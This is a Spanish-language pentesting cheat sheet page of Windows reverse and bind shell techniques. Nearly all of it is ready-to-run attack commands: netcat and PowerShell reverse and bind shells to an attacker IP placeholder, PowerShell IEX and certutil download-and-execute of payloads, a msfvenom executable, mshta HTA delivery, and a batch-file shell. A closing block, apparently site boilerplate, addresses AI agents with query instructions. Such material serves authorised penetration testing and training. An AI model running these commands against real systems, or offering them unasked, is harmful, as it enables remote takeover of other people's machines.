> For the complete documentation index, see [llms.txt](https://pentesting.mrw0l05zyn.cl/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://pentesting.mrw0l05zyn.cl/explotacion/shells/windows.md).

# Windows

## Netcat

```shell
# Máquina atacante
rlwrap nc -lvnp <listen-port>

# Máquina victima
.\nc.exe -e cmd.exe <attacker-IP-address> <listen-port>
```

## PowerShell

### Reverse shells <a href="#powershell-reverse-shells" id="powershell-reverse-shells"></a>

```powershell
powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("<attacker-IP-address>",<listen-port>);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
```

Reverse shell de Windows a Linux/Unix.

* <https://github.com/MrW0l05zyn/pentesting/blob/master/windows/shell/powershell/reverse-shell.ps1>

```shell
# Máquina atacante
# reverse shell (shell.ps1)
$client = New-Object System.Net.Sockets.TCPClient('<attacker-IP-address>',<listen-port>);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
# HTTP server
python3 -m http.server 80
# Netcat
nc -lvnp <listen-port>

# Máquina victima
# descarga y ejecución de reverse shell
powershell IEX(New-Object Net.WebClient).downloadString('http://<attacker-IP-address>:80/shell.ps1')
```

Reverse shell de Windows a Windows .

* <https://github.com/MrW0l05zyn/pentesting/blob/master/windows/shell/powershell/Invoke-PowerShellTcp.ps1>

```shell
# Máquina atacante
# HTTP server
Add-Type -AssemblyName "System.Web";$HTTPListener=New-Object Net.HttpListener;$HTTPListener.Prefixes.Add("http://<attacker-IP-address>:80/");$HTTPListener.Start();While ($HTTPListener.IsListening){$HC=$HTTPListener.GetContext();$HRes=$HC.Response;$HRes.Headers.Add("Content-Type",[System.Web.MimeMapping]::GetMimeMapping($HC.Request.RawUrl));$Stream=[System.IO.File]::OpenRead((Join-Path $Pwd ($HC.Request.RawUrl)));$HRes.ContentLength64=$Stream.Length;$Stream.CopyTo($HRes.OutputStream);$Stream.Close();$HRes.Close()};$HTTPListener.Stop()
# Powercat
Import-Module .\powercat.ps1
powercat -l -v -p <listen-port>

# Máquina victima
# descarga y ejecución de reverse shell
powershell IEX(iwr http://<attacker-IP-address>:80/Invoke-PowerShellTcp.ps1 -UseBasicParsing);Invoke-PowerShellTcp -Reverse -IPAddress <attacker-IP-address> -Port <listen-port>
```

### Bind shells <a href="#powershell-bind-shells" id="powershell-bind-shells"></a>

```powershell
powershell -NoP -NonI -W Hidden -Exec Bypass -Command $listener = [System.Net.Sockets.TcpListener]<listen-port>; $listener.start();$client = $listener.AcceptTcpClient();$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + " ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close();
```

## Metasploit

```shell
# Máquina atacante
msfvenom -p windows/x64/shell_reverse_tcp lhost=<attacker-IP-address> lport=<listen-port> -f exe -o reverse-shell.exe
rlwrap nc -lvnp <listen-port>
python3 -m http.server 80

# Máquina victima
certutil.exe -f -urlcache -split http://<attacker-IP-address>:80/reverse-shell.exe c:\windows\temp\reverse-shell.exe && cmd.exe /c c:\windows\temp\reverse-shell.exe
```

```shell
# Máquina atacante
use exploit/windows/misc/hta_server
set SRVHOST <attacker-IP-address>
set SRVPORT <port>
run

# Máquina victima
mshta http://<attacker-IP-address>:<port>/<id>.hta
```

## Archivo batch (.bat)

```shell
# Máquina atacante
nc -lvnp <listen-port>

# Máquina victima
echo C:\<path>\nc.exe -e cmd.exe <attacker-IP-address> <listen-port> > C:\<path>\<file.bat>
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://pentesting.mrw0l05zyn.cl/explotacion/shells/windows.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
